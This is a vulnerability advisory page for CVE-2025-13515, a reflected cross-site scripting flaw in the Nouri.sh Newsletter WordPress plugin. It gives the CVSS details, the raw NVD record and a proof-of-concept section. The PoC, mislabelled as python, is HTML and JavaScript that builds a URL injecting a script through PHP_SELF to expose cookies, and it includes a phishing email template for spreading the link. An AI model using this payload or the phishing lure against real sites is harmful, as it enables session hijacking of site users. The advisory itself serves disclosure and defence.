Security Vulnerability Report
中文
CVE-2025-13515 CVSS 6.1 MEDIUM

CVE-2025-13515

Published: 2025-12-05 07:16:12
Last Modified: 2026-04-15 00:35:42

Description

The Nouri.sh Newsletter plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 1.0.1.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Nouri.sh Newsletter plugin for WordPress <= 1.0.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13515 Reflected XSS PoC --> <!-- Target: WordPress site with Nouri.sh Newsletter plugin <= 1.0.1.3 --> <!-- Malicious URL construction --> <!-- Original URL: https://vulnerable-site.com/wp-admin/admin.php --> <!-- Injected URL: https://vulnerable-site.com/wp-admin/admin.php/<script>alert('XSS')</script> --> <!DOCTYPE html> <html> <head> <title>CVE-2025-13515 PoC</title> </head> <body> <h2>CVE-2025-13515 Reflected XSS PoC</h2> <p>Target: Nouri.sh Newsletter plugin <= 1.0.1.3</p> <script> // Generate malicious URL targeting the vulnerable endpoint function generateXSSPayload(baseUrl) { // XSS payload injected into PHP_SELF parameter const xssPayload = "/admin.php/<script>alert(document.cookie)</script>"; return baseUrl + xssPayload; } // Example: Target the options page const targetBase = window.location.origin + "/wp-admin/admin.php"; const maliciousUrl = generateXSSPayload(targetBase); console.log("Malicious URL:", maliciousUrl); // Display the payload for demonstration document.write("<p>Malicious URL: <a href='" + maliciousUrl + "' target='_blank'>" + maliciousUrl + "</a></p>"); document.write("<p>Attack Vector: Inject malicious script via PHP_SELF parameter</p>"); document.write("<p>Impact: Steal session cookies, perform actions as victim user</p>"); </script> <!-- Email/Social Engineering Component --> <!-- Attackers typically embed this link in phishing emails: Subject: Newsletter Subscription Confirmation Required Body: Please verify your newsletter subscription settings: [MALICIOUS_URL] --> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13515", "sourceIdentifier": "[email protected]", "published": "2025-12-05T07:16:11.583", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Nouri.sh Newsletter plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 1.0.1.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/newsletters-from-rss-to-email-newsletters-using-nourish/tags/v1.0.13/templates/options.phtml#L7", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/newsletters-from-rss-to-email-newsletters-using-nourish/trunk/templates/options.phtml#L7", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d5f0587e-1f84-472c-8fb7-13ddda63e2ec?source=cve", "source": "[email protected]"}]}}